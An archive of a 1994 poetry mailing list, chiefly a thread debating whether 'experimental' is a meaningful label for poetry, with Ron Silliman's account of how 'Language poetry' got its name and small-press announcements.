Yang Lian is one of the best-known of the so-called misty poets who came to prominence in China during the 1980s. His work, which has found rich sources at the margins of Chinese culture the south, the far west and Tibet and in ancient Chinese cultural forms such as his reading of The Book of Changes is wide-ranging, exploratory, linguistically rich and deeply rewarding.

Enquiries to Wellsweep Press: [redacted]
(complete catalogue also available by email)

Brief details now follow in HZ:

"Poetry International"
1 November 1994, 7:30 pm in the 'Voice Box'
South Bank Box Office (0)[redacted].

:

12821x13
7.95 (14.95) ISBN 0 948454 15 6
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12. Michael Boughn
experiwhat?
Sun 23 Oct 1994

Can someone out there explain how the concept of "experiment" relates to the practice of poetry? My own understanding of "experiement" is that it specifically has to do forms of thinking and practice associated with the accumulation of scientific knowledge, that is to say, the truth and falsity of theories and hypotheses. One forms an hypothesis based on generalizing from certain isolated empirical "facts", and then proceeds to test the "truth" or "falsity" of the hypotesis by submitting it to experimentation, i.e. looking for exceptions to the general rule.

Whatever it is we do as poets, I simply can't conceive of any way in which the concept of "experimentation" can meaningfully describe it. (Sorry, Mark, but it really bugs me when people talk about "experimental poetry".) Innovative, maybe, or exploratory, or even *weird poetry*, but never, never "experimental". I know I may sound a bit cranky, but since words are our lives, we ought to be careful with them, especially when discussing our own craft.

Mike Boughn
[redacted]

↑ Index

13. Alan Sondheim
Re: experiwhat?
Sun 23 Oct 1994

I really have to agree with Mike's assessment. My video/writing/music/whatever gets called all too often "experimental," which implies first of all that it's not particularly well-founded; second, that I'm not sure or insecure of the results; third, that it's tentative; fourth, that it's associated somehow with all the other work "out there" called experimental; fifth, that there's no audience because there's no completed or standardized venues - I could go on. It's a dismissal, whether intended to be or not. It also puts too much emphasis on the medium - i.e. "experimental poetry" is therefore _poetry_ instead of an opening; it actually reproduces the binary thinking of prose/poetry.

Alan

I have no books to list at all, except a few places I've appeared this fall - Uncontrollable Bodies (Bay Press, Stallings & Sappington) Crash (Threadwaxing Space, Zummer)

Vulvamorphia (Lusitania, Lennox)
Transmog (zine, Ficus)
NWHQ (e-magazine, Fischer)
and will be probably editing a Lusitania volume on cybermind.

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14. Jorge Guitart

(no subject)

Sun 23 Oct 1994

---

experimental drug testing is legal, not so experimental drug taking

i know experimenting with syntax is legal, but
is experimenting with the lexicon legal? (i mean in the U.S.)

i would like to conduct an experiment to show that experimental poetry is not poetry but i really think it is poetry except that i am an honest scientist so i will try to show that the null hypothesis is true.

Any advice on how to proceed?

jorge guitart

↑ Index

15. Mn Center For Book Arts

Re: experiwhat?

Sun 23 Oct 1994

A usage history is probably called for with regard to "experimental" as a qualifier for poetry. But it would not surprise me to find out that it was actually intended as a compliment, i.e. in a world in which poetry is devalued (as it has been for at least a few centuries), to use a scientific term to describe the newest work being done in the field may have been intended to elevate the work to the level of science in some public's mind. Yes, it's inaccurate, and at this moment in time it does seem dismissive, but has that always been so?

Innovative and exploratory have their down sides, too, don't you think?

charles alexander

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16. Alan Sondheim

Re: your mail

Sun 23 Oct 1994

This is a weird discussion because what is "poetry" , like what is "art" , is clearly problematic and moot; one could appeal to Wittgenstein's family of usages at best. Most of what I would consider poetry, for example, my downstairs neighbors wouldn't. The problem is otherwise - completely - that "experimental" has a negative or troubling effect even within poetics, and while not exclusionary, implies a ghettoization of language practices themselves. Further, this can have concrete implica- tions in terms of economics or distribution as well.

Alan

On Sun, 23 Oct 1994, Jorge Guitart wrote:

> *experimental drug testing is legal, not so experimental drug taking*
>
> *i know experimenting with syntax is legal, but*
> *is experimenting with the lexicon legal? (i mean in the U.S.)*
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> *poetry but i really think it is poetry except that i am an honest scientist so*
> *i will try to show that the null hypothesis is true.*
>
> *Any advice on how to proceed?*
>
> *jorge guitart*

↑ Index

17. Steven Howard Shoemaker

Re: experiwhat?

Sun 23 Oct 1994

Mike Bough writes:
>
> Can someone out there explain how the concept of "experiment"
> relates to the practice of poetry? My own understanding
> of "experiement" is that it specifically has to do forms of
> thinking and practice associated with the accumulation of
> scientific knowledge, that is to say, the truth and falsity of
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> generalizing from certain isolated empirical "facts", and
> then proceeds to test the "truth" or "falsity" of the hypotesis

> by submitting it to experimentation, i.e. looking for exceptions
> to the general rule.
>
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> way in which the concept of "experimentation" can meaningfully
> describe it. (Sorry, Mark, but it really bugs me when people
> talk about "experimental poetry".) Innovative, maybe, or
> exploratory, or even *weird poetry*, but never, never
> "experimental". I know I may sound a bit cranky, but since words
> are our lives, we ought to be careful with them, especially when
> discussing our own craft.
>
> Mike Boughn
> [redacted]
>

I agree that the term is often problematic, but perhaps I can play devil's advocate a bit here. George Oppen, aware that he was going out on a limb, believed that poetry could be a "test of truth," or of "conviction." This belief connects to Oppen's sense that only certain things can be said within the bounds of the poem, and, as I understand it, that other state- ments will be shown in a false light. Now, I admit, this is a pretty grand claim for poetry, but it apparently had validity for Oppen as *a working principle*. I wonder if there isn't some use to be made of the idea that poetry can "test" the language in somewhat the same sense that science tests an hypothesis." As a corollary, one might go farther to suggest that the poem's formal demands invoke protocols or procedures that must be adhered to (different for every poem?) if the "experiment" is to be successful, just as the conscientious scientist must have impeccable lab technique.

steve shoemaker
[redacted]

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18. Justin T McHale
Re: experiwhat?
Sun 23 Oct 1994

On Sun, 23 Oct 1994, Michael Boughn wrote:

> *Can someone out there explain how the concept of "experiment" relates to the practice of poetry? My own understanding of "experiement" is that it specifically has to do forms of thinking and practice associated with the accumulation of scientific knowledge, that is to say, the truth and falsity of*

I agree that what I call my poetic "experiments" have little to do with a scientific inquiry. Rather, I am using the other established meaning for "experiment" - viz "a method or procedure adopted without knowing how it will work." So when I name a poem an "experiment" it is usuall because I am trying out a new kind of discourse, which I may or may not adopt in the future, depending on how the poem is received by readers for example. In this sense, the word, for me, is not especially problematic.

Justin

~*-,._.,-*~'`^`'~*-,._.,-*~'`^`'~*-,._.,-*~'`^`'~*-,._.,-*~'`^`'~*-,._.,-*~ Justin McHale [redacted] ~*-,._.,-*~'`^`'~*-,._.,-*~'`^`'~*-,._.,-*~'`^`'~*-,._.,-*~'`^`'~*-,._.,-*~

↑ Index

19. Louis Cabri

experiperi

Sun 23 Oct 1994

Re: experimental

Here's two quotes and a brief embedment for them:

John Cage's "experimental" suggests a practice that implicates relations external to the practice in the experiment:

> The word *experimental* is apt, providing it is understood not as descriptive of an act to be later judged in terms of success and failure, but simply as an act the outcome of which is unknown.

Internally and externally, there is no "control subject" in the practice.

Walter Kaufmann's Nietzschean experimental evaluates philosophical and by extension poetic practices existentially -- in other terms evaluates a practice for its radical potential as social/textual agency:

> [Philosophical] questions permitting of experiment are [...] those questions to which he [Nietzsche] can reply [...] Let us try it! Experimenting involves testing an answer by trying to live according to it.... Only problems that pres-

ent themselves so forcefully that they threaten the thinker's present mode of life lead to philosophic inquiries.

- Louis Cabri

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20. Jorge Guitart
experiwhich
Sun 23 Oct 1994

only surgery can be exploratory
only technique can be innovative

mike, that discussion you started, was that an experiment?

↑ Index

21. Alan Sondheim
Re: experiwhat?
Sun 23 Oct 1994

But if a poem could "test" a language, this would imply, first, that there is a paradigmatic or otherwised notion of language, and second, that the poem could be falsifiable, vis-a-vis Popperian analysis. An experiment in science, if it is successful, produces results, which are generally a filtering of evidence in a logically well-defined manner. If poetry is to have value beyond the didactic, its strength is elsewhere.

Alan

On Sun, 23 Oct 1994, Steven Howard Shoemaker wrote:

> *Mike Bough writes:*
>
> *Can someone out there explain how the concept of "experiment" relates to the practice of poetry? My own understanding of "experiement" is that it specifically has to do forms of thinking and practice associated with the accumulation of scientific knowledge, that is to say, the truth and falsity of theories and hypotheses. One forms an hypothesis based on generalizing from certain isolated empirical "facts", and then proceeds to test the "truth" or "falsity" of the hypotesis by submitting it to experimentation, i.e. looking for exceptions to the general rule.*
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>
> *Mike Boughn*
> [redacted]
>
> *I agree that the term is often problematic, but perhaps I can play devil's advocate a bit here. George Oppen, aware that he was going out on a limb, believed that poetry could be a "test of truth," or of "conviction." This belief connects to Oppen's sense that only certain things can be said within the bounds of the poem, and, as I understand it, that other statements will be shown in a false light. Now, I admit, this is a pretty grand claim for poetry, but it apparently had validity for Oppen as *a working principle*.*
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>
> *steve shoemaker*
> [redacted]

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22. Alan Sondheim

Re: experiwhat?

Mon 24 Oct 1994

Yes, but where's the axiomatics? & all those lines from George Trakl, exactly my point, Ihr Gebirge kuehl und blau! Ein reines Blau elsewhere, those opening lines trans. Firmage, Der Herbst des Einsamen, The Autumn of the Lonely One

The dark autumn enters with fruit and fullness,
The yellowed sheen of lovely summer days.
A pure blue flows from husks of moldered dullness [...]

Alan obsessed with blue bleu blau

On Mon, 24 Oct 1994, Roberts Mark wrote:
>
>

> poem in blue
>
> all poems are blue
>
>
>
> poem in yellow
>
> this poem is yellow
>
>
>
> poem in blue and yellow
>
> all poems are blue or yellow
>
>
>
>
>
>
>
> Mark Roberts
> SIS Liaison Officer
> Student Information & Systems Office Ph 02 [redacted]
> University of NSW Sydney Australia Fax 02 [redacted]
>

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23. Roberts Mark

Re: experiwhat?

Mon 24 Oct 1994

> *But if a poem could "test" a language, this would imply, first, that there is a paradigmatic or otherwised notion of language, and second, that the poem could be falsifiable, vis-a-vis Popperian analysis. An experiment in science, if it is successful, produces results, which are generally a filtering of evidence in a logically well-defined manner. If poetry is to have value beyond the didactic, its strength is elsewhere.*
>
> *Alan*

poem in blue

all poems are blue

poem in yellow

this poem is yellow

poem in blue and yellow

all poems are blue or yellow

Mark Roberts
SIS Liaison Officer
Student Information & Systems Office Ph 02 [redacted]
University of NSW Sydney Australia Fax 02 [redacted]

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24. Michael Boughn
Re: experiwhat?
Mon 24 Oct 1994

No, Jorge, I had absolutely no intention of being experimental when I posted the intial message. Provocative would be more accurate. Stirring up the shit, something like that. It seems to me that part of the problem, a problem the responses have to some extent embodied, is that we tend to operate within taxonomies whose terms are decided elsewhere and which we question only infrequently, and then to defend by some rather farfetched metaphorical extensions categories which make no sense. Take the absurd category of something called "language" poetry. Somebody explain to me what that means and what it's usefulness is outside of hand to hand combat with some other equally absurd category called "mainstream". You can, I suppose, argue that this is nit picking b.s. and respond with some charming poem which proposes to undermine the intellectualism of the question, but that position, i.e. that it doesn't matter how we think (what we say) about what it is that we do, seems pretty bankrupt to me.

Anyway, more anon. For now it's back to work.

Love to all,
Mike

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25. Joe Amato
Re: experiwhat?
Mon 24 Oct 1994

it seems pretty certain to me, on the one hand, that labelling a work of literature---poem, novel, what have you---as "experimental" does in fact classify

it de facto as directed to somewhat other than mainstream marketplace concerns... as such, i'd expect such a gesture to be at least slightly pejorative, depending on who's mouthing what... it's an attempt, in short, to classify an uncoventional artifact...

the most interesting parallel that comes to my mind (groggy at the moment from a long, deep sleep in a chilly apt. under lots of blankets) is that of democracy, that most "noble" of experiments... the latter word is generally used in a distinctively positive sense when the speaker requires a connotation both of inclusiveness and (potential) disruption... that is, as a way of crediting the pioneering spirit of this mightly land of ours with going forth in the face of adversity blah blah blah...

now why "experimental poetry" (again, not always pejorative) should become a category through which marginalization is facilitated probably has much to do with the sorts of inversions we currently see at work in the tag "policially correct"... initially a tag used in gest by liberals, then a satirical barb aimed at liberals by conservatives, occasionally after (and now) a term adopted by some with straight face, and perhaps in the future and across the board a term used to denote a certain zeal in establishing moral propriety, this word classifies those who are presumably implicated in a debatable standard of behavior... now of course "politically correct" appeals to political realities, and implies something other than 'disruptive' insouciance... which is why i've chosen to gloss it (quickly) in the context of our, uhm, democratic experiment.. .my aim being specifically to imply that "experimental poetry" is generally seen as "politically incorrect" (so to speak) given a backdrop which is, shall we say, less intent on "making it new" (a dubious proposition when applied by fiat) and more intent on "making it fit" (a dubious proposition when applied by fiat)....

apologies for the sandman scattered throughout... my aim has been to draw in the more properly ideological, by way of corresponding political realities... the conjunction is sloppy...

joe

↑ Index

26. Joe Amato
Re: experiwhat?
Mon 24 Oct 1994

---

oh and a belated footnote: that "experimental" for some (whether used pejoratively or no) would seem to connote a measure of apolitical-ness simply reflects the bias toward a certain *way* of saying politics (or of saying no politics, as the case may be)... that is, the aesthetic is always implicated in

those networks of distribution alan refers to, and perhaps subject to the "network economics" analysis suggested in sandra's post...

joe

↑ Index

27. Sandra Braman
Re: experiwhat?
Mon 24 Oct 1994

If we go back to the "techne" notion of art, making in all its senses, then the concept of experimentation applies as much to poetics as to engineering . . . . Sandra Braman

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28. Nick Lawrence
Re: experiwhat?
Mon 24 Oct 1994

> *Take the absurd category of something called "language" poetry. Somebody explain to me what that means and what it's usefulness is*

Language Poetry (not to be confused w/ L=A=N=G=U=A=G=E poetry, "Language" poetry, & language poetry, among other designators) is an historically specific term designating the poetry written by Bruce Andrews in New York City, though not outside it, in the period extending from 1980 to 1983. Considerable controversy surrounds the exact placing of Language Poetry's inception after the demise of "language-oriented poetry" & its supersession by such movements as "social expressionism." See my article "'I Guess Work the Time Up': Periodizing Language Poetry within the Reagan Administration's First 100 Days," forthcoming in _Poetics Yesterday_, in which I argue that the usefulness of our taxonomic terms can only be realized by pressing their absurdity to some kind of limit. Anyone working on the category "metaphysical poetry" in this vein should contact me privately so we can share findings.

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29. Steven Howard Shoemaker
Re: experiwhat?
Mon 24 Oct 1994

Alan Sondheim writes:
>

> But if a poem could "test" a language, this would imply, first, that
> there is a paradigmatic or otherwised notion of language, and second,
> that the poem could be falsifiable, vis-a-vis Popperian analysis. An
> experiment in science, if it is successful, produces results, which are
> generally a filtering of evidence in a logically well-defined manner. If
> poetry is to have value beyond the didactic, its strength is elsewhere.
>
> Alan

But perhaps an experiment in poetry could produce meaningful results, but according to different criteria, i.e. other than "a filtering of evidence in a logically well-defined manner." There is also the question of how true it is that that is what science does. How much "scientific" activity makes more sense as a language game, a discursive "testing" of images and metaphors?

Another angles: When i look at poetic development over time, say tracing a lineage i'm interested in, like that from Pound/Williams modernism to the Objectivists to the New Americans to the Language (or now, according to Charles, Innovative) Writers (And i am aware that every one of those labels is problematic, as is the notion of "lineage"--which wld surely have to accommodate as much rupture as continuity)--anyway, when i look at that development i see something like paradigm shifts in the Kuhnian sense.

steve shoemaker
[redacted]

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30. Marc Nasdor
Re: experiwhat?
Mon 24 Oct 1994

Mike:

Categories of poets/poetry also serve a functional purpose--self-promotion. Remember strength in numbers? The building of communities? Assembly of like- minded individuals?

Problem is, such categories have a limited shelf life. In the long term, we're all on our own. Anyway, I recall Ron Silliman stating in _The New Sentence_ that every poet finally has his/her own audience, so this would likely apply to groups as well.

The issue of "experimentals" versus "mainstreamers" is another issue, one I believe rooted in the behavior of a number of poetic "control freaks" who for decades have dominated the grant awards, fellowships, teaching jobs, etc. It's

still a really small pie, so it's no surprise that turf wars continue. The question is, does anybody care?

Marc Nasdor
[redacted]

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31. Robert Kelly
Re: experiwhat?
Mon 24 Oct 1994

Stripped of all the prestiges of professionalism, it isn't a matter of "accumulation of scientific knowledge," but of _seeing what will happen if I do this_. For me, the image of the Experimental Poet (and I agree with MB that the term is not one to like) is not the scientist (mad or otherwise) but that Humble Demiurge, the child in front of the chemistry set. Seeing what happens next when we do this and then do that---that is experiment enough for me. And enough of a practice to justify such a word as experiment. Making new things is good enough a description. Rub two words together.

Best wishes,

Robert Kelly

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32. Mark Wallace
Call for Briefs
Mon 24 Oct 1994

Poetic Briefs is looking for short statements, essays, diatribes, confusions on the subject of Clark Coolidge's poetry. And we do mean short-- 1000 words is about the limit (and we prefer 'em shorter than that!)

Send them to:

> Poetic Briefs
> 31 Parkwood St. #3
> Albany, NY 12208

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33. Mark Wallace
Poetic Briefs #17
Mon 24 Oct 1994

Poetic Briefs #17 continues its ongoing conversation on such topics as

Language Poetry Bashing
The Prosody of Prose in Language Writing
Disjunctiveness and Poetry
Why Do Restricted Economies Exist?
Second Languages and the Poetry of Jorge Guitart

Subscriptions are $10 for six issues.

Send to:

Poetic Briefs
31 Parkwood St. #3, Albany, NY 12208

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34. Alan Sondheim

Re: experiwhat?

Mon 24 Oct 1994

On Mon, 24 Oct 1994, Steven Howard Shoemaker wrote:

[my post deleted]
>
> But perhaps an experiment in poetry could produce meaningful results, but
> according to different criteria, i.e. other than "a filtering of evidence
> in a logically well-defined manner." There is also the question of how
> true it is that that is what science does. How much "scientific" activity
> makes more sense as a language game, a discursive "testing" of images and
> metaphors?

Of course an experiment _in_ poetry would produce meaningful results - for example, computer poetry, or writing without the letter 'e' or trying a new style. I'd argue that _every_ poem produces meaningful results. But this is different than the _category_ of experimental poetry.

I guess this isn't the place for philosophy of science, but I believe in a core-theoretical approach, neo-platonic entities, etc. Scientific _activity_ is definitely a game, as are research proposals/trajectories, but I'm separating that from experimentalism proper, or the hard-core mathematization at the heart of, say, string theory or fundamental particle physics.

If you do an experiment _in_ poetry, you want the results to be desirable somewhere along the line, i.e. "does this work for you," "does this seem to mean anything," "what do you think of this poem?". (Couldn't decide on the punctuation there.) But this is different than a body of work with the label, which implies one is really just testing the waters. I think I would also argue that an experiment _in_ poetry is not experimental

poetry - it's in the latter that I find the word "experiment"
problematic. One could, for example, say to a sixth-grade class, "let's
do a poetry experiment," and the students would probably understand.
>
> Another angles: When i look at poetic development over time, say tracing
> a lineage i'm interested in, like that from Pound/Williams modernism to
> the Objectivists to the New Americans to the Language (or now, according
> to Charles, Innovative) Writers (And i am aware that every one of those
> labels is problematic, as is the notion of "lineage"--which wld surely
> have to accommodate as much rupture as continuity)--anyway, when i look
> at that development i see something like paradigm shifts in the Kuhnian
> sense.

I've always had troubles with "paradigm," taking into account the criticism that it was used at least 27 different ways in the original book. Be that as it may, a think of "paradigm" vis-a-vis physics as a mostly fixed set of relations; I just don't see that in the history of poetry, which might be better interpreted along the lines of flows, nomadicisms, impediments, turbulence, etc. - a fluid/mechanical approach drawing from Irigaray and Deleuze-Guattari. Also the demographics are different wildly - during the Language Writers (etc.) period, most poets, I'd say 99% of them, were ignoring them. Styles have always proliferated wildly in the humanities, art historians notwithstanding, and I don't think there is ever a dominant one at any period.,

Alan

> *steve shoemaker*
> [redacted]

↑ Index

35. **Tony Green**
Re: Call for Briefs
Mon 24 Oct 1994

Dear Mark,
I've been meaning to write about the book you gave me yonks ago in Buffalo, but ..... However, 1000 on C.C. is a nice thot. I'll be setting up the drum-kit and bashing out the necessary.
Best, Tony

Tony Green,
e-mail: [redacted]
post: Dept of Art History,

University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

36. **Joel Kuszai**
Re: experiwhat?
Mon 24 Oct 1994

I've always liked the term "experimental," as opposed to the term "language centered" or language writing, or what-have- you, because - to follow Sandra Bramen's reference to Techne, which I get from Mary Heidegger, what is comes into existence revealing what it is. Anyone who would then rely on the experimental as a locating device would be hard-pressed to say that it meant anything except that they didn't know what they were doing. The "experiment" therefore for me is scientific and would demonstrate that one is attempting to do something without an awareness of the materials. The historical significance of language quote poetry is for real to me, insofar as the project there was a quite conscious and serious attempt to resist the normative functions of those materials. I don't see much experimenting there - either historically or in the present works by those people who were responsible for that episode in American Letters. But there was a resistance there which has been lost by the inheritors of those same "innovators" and what is disturbing to me is how those practices are grouped rather blandly under the rubric of experiment, as if such a term somehow validated the practice of giving up one's own relation to the production of texts. In other words, what is so often referred to as experiment falters insofar as it becomes an excuse to "inherit" the technical innovations of a previous revolutionary party. It was a good party, but the terms and requirements of the present age demand something better. The 4th and 5th generation language poets, rather than resisting the normative functions of language, instead invoke - as permissive - previous technical developments while constructing texts which rely on the empty authority of the experiment in order to cover-up for the lack of "meaning" or at least "intention". When I look at the poetry of some of my contemporaries, I often am surprised to see what looks like "auto-matic-drip" writing, a kind of poetry that seems to indicate a subconscious relation to meaning - and under the guise of "experiment" it always makes me laugh that people are willing to submit their texts to readers without having read them themselves. Experiment, then, would mean a lazy and subconscious drifting through the language environment.

When I see those experimenters coming at me down the street, I try to cross and walk on the opposite sidewalk. It always helps if they are carrying a sign.

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37. Roberts Mark

Overland

Mon 24 Oct 1994

> *From John=[redacted] Mon Oct 24 17:40:01 1994*
> *Date: Mon, 24 Oct 1994 17:35:42 -0500 (EST)*
> *From: John=[redacted]*
> *Subject: re: Listings FORWARD*
> *To: [redacted]*
> *Cc:*
> *Status: R*
>
> *Overland, Australia's radical nationalist literary quarterly, continues to be edited by John McLaren and published with the assistance of VUT. The most recent issue was Spring 1994, and contained, as well as poetry, sotries and reviews, essays by Syd Harrex, Satendra Nandan, and McKenzie Wark, a photo-essay, The Masked Walkers of Prague', by Jiri Tibor NOvak, 'Song for an Exile' by Ouyang Yu, essays on writing for the theatre in Australia, a critical analysis of the culture industry by Donald Brook, and the first of John Herouvim's Overland Round Tables. Available for $28 for twelve months from PO Box 14146, MMC, Melbourne Vic 3000. (US Subscription price is Aus60)*

Mark Roberts
SIS Liaison Officer
Student Information & Systems Office Ph 02 [redacted]
University of NSW Sydney Australia Fax 02 [redacted]

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38. Robert Drake

Re: Listings, Burning Press

Tue 25 Oct 1994

BURNING PRESS is an eclectic sprawl of projects including TapRoot Reviews, artist books, audio tapes, a Poetry Hotline, and poetry magazines & chapbooks. Work ranges from "traditional" poetry to avant-garde, and scope ranges from the local to international. All publications can be ordered from Burning Press, PO Box 585, Lakewood OH 44107.

A selected list:

TAPROOT REVIEWS is a quarterly overview of out-of-th-mainstream publications literatures and other arts. Each issue features short blurb reviews of a wide variety of poetries, as well as longer feature articles on particular artists, publishers, or tendencies. The most recent, #5 includes 300 reviews, and features on avant-garde poetries from Russia and Argentina; books by Ivan Aguelles, Bill Luoma, and Nathaniel Mackey; recent translations from the French, and publishers Found Street and WhiteWall of Sound. $2.50 issue/$10.00 year.

TAPROOT REVEIWS ELECTRIC EDITION (TRee) reprints the short blurb-reviews (but not the feature articles) in electronic form. e-mail subscriptions are free from <[redacted]>, back issues are available at the Electronic Poetry Center.

*** we are currently accepting reviews for the next issue *** *** contact editor luigi-bob drake at the above address for info ***

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QUEEN OF CUPS by Amy Bracken Sparks $5.00
MOUTH WATCH by Kristen Ban Tepper $3.50
TapRoot #31/32--"SpiralRoot," co-edited w/ John M. Bennett (rivet binding, 24 rotating "pages") $10.00
NARCOTIC SIGNATURE by Thomas Wiloch (keyring binding) $2.50
KYOO by Nico Vassilakis $2.50
CLEVELAND SLAM BOOK by Amy Sparks, Michael Salinger, Kristen Ban Tepper & Ben Gulyas $3.50
TapRoot #26--"Word/space" featuring Hannah Weiner, Jake Berry, John Byrum, & geof huth $5.00
WAS AH by John M. Bennett $3.50
INVISIBLE ARIA by Tom Beckett (embossed covers) $3.50
TapRoot #22--"Colaborative Writing" 2.50
BABBALLY by Miekal And (multisection book, cassette tape, & 30x42" poster) $15.00
FLOWERS OF MEL by Andrew Klimek (phonic transdaption of Baudelaire) $3.50

forthcoming:

FRESH OIL, LOOSE GRAVEL by Major Ragain
TERMINAL by Mark Ezra
I, A SERIES... by Mark DuCharme
SWARMS OF FUGUE by Jake Berry
HELLISH HOURDES... by Fabio Doctorovich

audio tapes:

RECURRING IRRITATIONS DOCUMENT #1: sound poetry in performance by Gary Barwin & Stuart Ross, and by John M. Bennett w/ Jime Wiese & Byron Smith $5.00
OBLONG by Terry Durst (words & sculpture) w/ Dennis Maxfield (guitar & sampler) $5.00
HEADS/TALES by the BackYard Mechanix fr Language (Kristen Ban Tepper & luigi-bob drake) $3.50
CLEVELAND LANGUAGE (TapRoot #19/20) includes: Semiotic Liberation Orchestra, Jordan Davis, Charlotte Pressler, luigi, Kristen Ban Tepper, Terry Durst, Major Ragain, BackYard Mechanix, Frank Green, Dan Thompson, Endangered Specie Trio, Tom Mulready, & Joan Deveny $5.00
TEXT/TEXTURE (TapRoot #5/6) includes Susan Frykbert, Pennie Stasik, Kristen Ban Tepper, Costes Cassette, Elizabeth Was, Tekst, Beth Learn, Charlotte Pressler, John M. Bennett, Bob Ebersole, Miekal And, Paula Potocki, & Joan Devney. $5.00

* * *

In the belief that "poetic community" extends to shared physical location as well as shared aesthetic, we also produce several projects w/ a specifically local focus. The _Cleveland Leaves_ series features poets from a variety of backgrounds, and intends to build bridges across factions and isolated sub-groups. The first 4 in the series:

BLACK EYED by Mary Weems
EYE OF THE STORM by Mykel D. Myles
ONE RING CIRCUS by Steve Melton
LIP SERVICE by Celeste McCarty

All _Cleveland Leaves_ chapbooks are 12 pages, $1.50 + .50 postage.

We are also involved with an ongoing project to document local micro- press activity, covering northeast Ohio and spanning the last 30 years. The initial catalog of the archive included 1,000+ entries.

Finally, the IN-YR-EAR FREE POETRY HOTLINE provides another venue for local aural poetry. By calling [redacted], listeners can hear local poets reading their own poems--the recording changes every week or so.

luigi-bob drake, editor
TRR/Burning Press

↑ Index

39. Ron Silliman
Re: absurd category
Tue 25 Oct 1994

You wrote:

Take the absurd category of something called "language"
>poetry. Somebody explain to me what that means and what it's
>usefulness is outside of hand to hand combat with some other
>equally absurd category called "mainstream".

The category IS absurd.

People had been using a wide variety of terms to indicate a movement within poetry (movement in the tidal/glacial sense more than in the civil rights movement sense), particularly w/in the New American Poetry tradition, since about '70. Grenier had proposed "nonreferential formalism" by at least '72, Perelman was trying "steady state," Michael Davidson & Bruce Andrews had both used formulations with the word "language" in it, but the reality was there was no name and everyone involved new there was a real creative tension between what we were doing and poets who saw themselves much more strictly "within" a given New American tendency. (A couple of editors of the St Marks Newsletter during the 70s, for example, simply refused to acknowledge our existence and would list every single contributor to a publication like The World EXCEPT myself, Watten, Andrews, Bernstein, etc.It had a Kafka-esque quality to it, and I won't say that we did not react emotionally to that sort of behavior.)

But the LP name was attached as a label to a number of poets after the Poetry Flash special issue on same (May of '79), where it was used by two of the authors, Steve Abbott, who was simply looking for a shorthand term, and Alan Soldofsky who was looking to denounce whatever it was that was new. So it was not unlike the Fauvists being called "beasts" or the "Beats" having been named by a newspaper columnist with very similar intentions to Soldofsky's.

Not surprisingly, everybody's reaction to the term for the first five years was to deny its existence or that he or she was a LP (I heard the term LangPo at Naropa this summer, and I rather like that variation). Other people threw out alternatives, such as Watten's Social Formalism (still the best and most inclusive term, since the term language poetry suggests a focus that was never so sharply fixed as the category makes it seem).

One of the reasons the term stuck was the magazine, of course, but I think also that another reason was precisely everybody's defensive reaction to it. It was/is a tease.

Tinker Greene used to say "the only way to tell a language poet is that they deny being a language poet." I used to counter that with "anybody is an LP who

has been attacked as an LP" although admittedly even Jorie Graham has been attacked for her LP proclivities.

But as a marketing device, there is no question that the term had profound (and generally positive, to our surprise and I suspect to the frustration of Soldofsky & those who agreed w/ him that what was absurd was our poetry) impacts on all our lives.

Lately, the naming game I've heard most has been for the
nexus around Lew Daley, Pam Rehm, Kristen Prevallet, Will
Alexander, Alan Gilbert, Elizabeth Robinson et al.

Terms that I heard used at Naropa for that nexus included:
The Christian Language Poets
The New Mysticism
The Buffalo Problem
The New Coasters
and a few others (I wrote them down as I heard them).
Whatever one thinks of the writing (my position is that some
is interesting, some is not, just like everything else),
they certainly have created a sense of collective unity
as to make people want to join them into a noun phrase,
whatever it might mean.

I'm generally intrigued at this process of naming. What does it mean that 17 generations of the New York School keep getting called New York School. Just how New York is it when someone like Lee Ann Brown, with that terrific southern accent and dividing her time between Providence & Boulder, becomes a central mover?

All language is very close to the act of naming, as
my two-year old twins remind me several thousand times
a day. But between naming as such an "categorization"
enters a whole other level, society.

Ron Silliman

↑ Index

40. Marc Nasdor
Re: experiwhat?
Tue 25 Oct 1994

As far as I'm concerned, writing "experimental" poetry means unhooking onself from the annoying influence of some of one's contemporaries, namely those who would seek to recruit potential acolytes for a declared "project." The true experimenter is the writer who--like a number of "outsider artists" in the visual

arts--produce their work via their own "raw vision," but unlike the outsider artists, are not working in total critical and artistic isolation. What I hope such a writer would produce might be defined as something like *wisdom* if such an old-fashioned term may be used.

It might be interesting for people to give examples of writers who might fit the aforementioned definition. I can think of many who would fit: Oppen, Zukofsky, Stevens, Ashbery, Mayer, Wieners, Eigner, Notley, Raworth...

Well, it could be a long list, but those who I think would not fit my definition might comprise a much longer list.

Regards,

Marc Nasdor
[redacted]

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41. Jorge Guitart
EXPERIWHAT LVI
Tue 25 Oct 1994

---

the telling of gedanken experiments may or may not approximate poetry. i want the name experimental poetry for poems that approximate the telling of gedanken experiments that approximate poetry.

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42. Steven Howard Shoemaker
Re: experiwhat?
Tue 25 Oct 1994

Excerpting from Alan Sondheim's post:
>
> I've always had troubles with "paradigm," taking into account the
> criticism that it was used at least 27 different ways in the original
> book. Be that as it may, a think of "paradigm" vis-a-vis physics as a
> mostly fixed set of relations; I just don't see that in the history of
> poetry, which might be better interpreted along the lines of flows,
> nomadicisms, impediments, turbulence, etc. - a fluid/mechanical approach
> drawing from Irigaray and Deleuze-Guattari. Also the demographics are
> different wildly - during the Language Writers (etc.) period, most poets,
> I'd say 99% of them, were ignoring them. Styles have always proliferated
> wildly in the humanities, art historians notwithstanding, and I don't
> think there is ever a dominant one at any period.

I'm not real happy with the term "paradigm" either. Certainly, in my proposed example we would be talking about something on smaller scale than say, the Copernican world view. The issue of to what a style can be "dominant" strikes me as a complex one. I continue to think that looking at development over time might be a good way to explore the (limits of) the analogy to science that the whole question of "experimentalism" makes unavoidable. I, for one, would like to hear more about you might apply those notions you mention-- "flows, nomadicisms, impediments, turbulence, etc"--to the problem.

steve

↑ Index

43. Alan Golding
"*Susan Howe's Visual Poetics*"
Tue 25 Oct 1994

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

At the risk of introducing a mundane bibliographical note to the list's recent "business": for a paper on Susan Howe's visual poetics, I'm interested in critical/theoretical references on questions of page layout/use of page space (and not necessarily ones that make specific reference to Howe, though obviously that would be ideal). (I'm less interested in stuff on concrete poetry, the artist's book, and similar related-but-not-immediately-relevant-for-my-purposes phenomena.) Things I know of include Marjorie Perloff's Radical Artifice, Jerome McGann's Black Riders, much of the material in Frank and Sayre's book on the line, Rachel Blau DuPlessis' Temblor essay on Anne-Marie Albiach (thanks, Rachel, for that ref.)

